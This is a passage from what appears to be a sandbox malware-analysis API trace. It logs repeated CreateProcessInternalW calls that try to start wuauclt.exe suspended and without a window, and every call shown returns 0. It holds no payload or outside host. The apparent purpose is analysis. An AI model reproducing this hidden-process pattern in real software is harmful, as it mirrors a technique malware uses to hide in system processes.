dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.594] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.595] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.596] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, 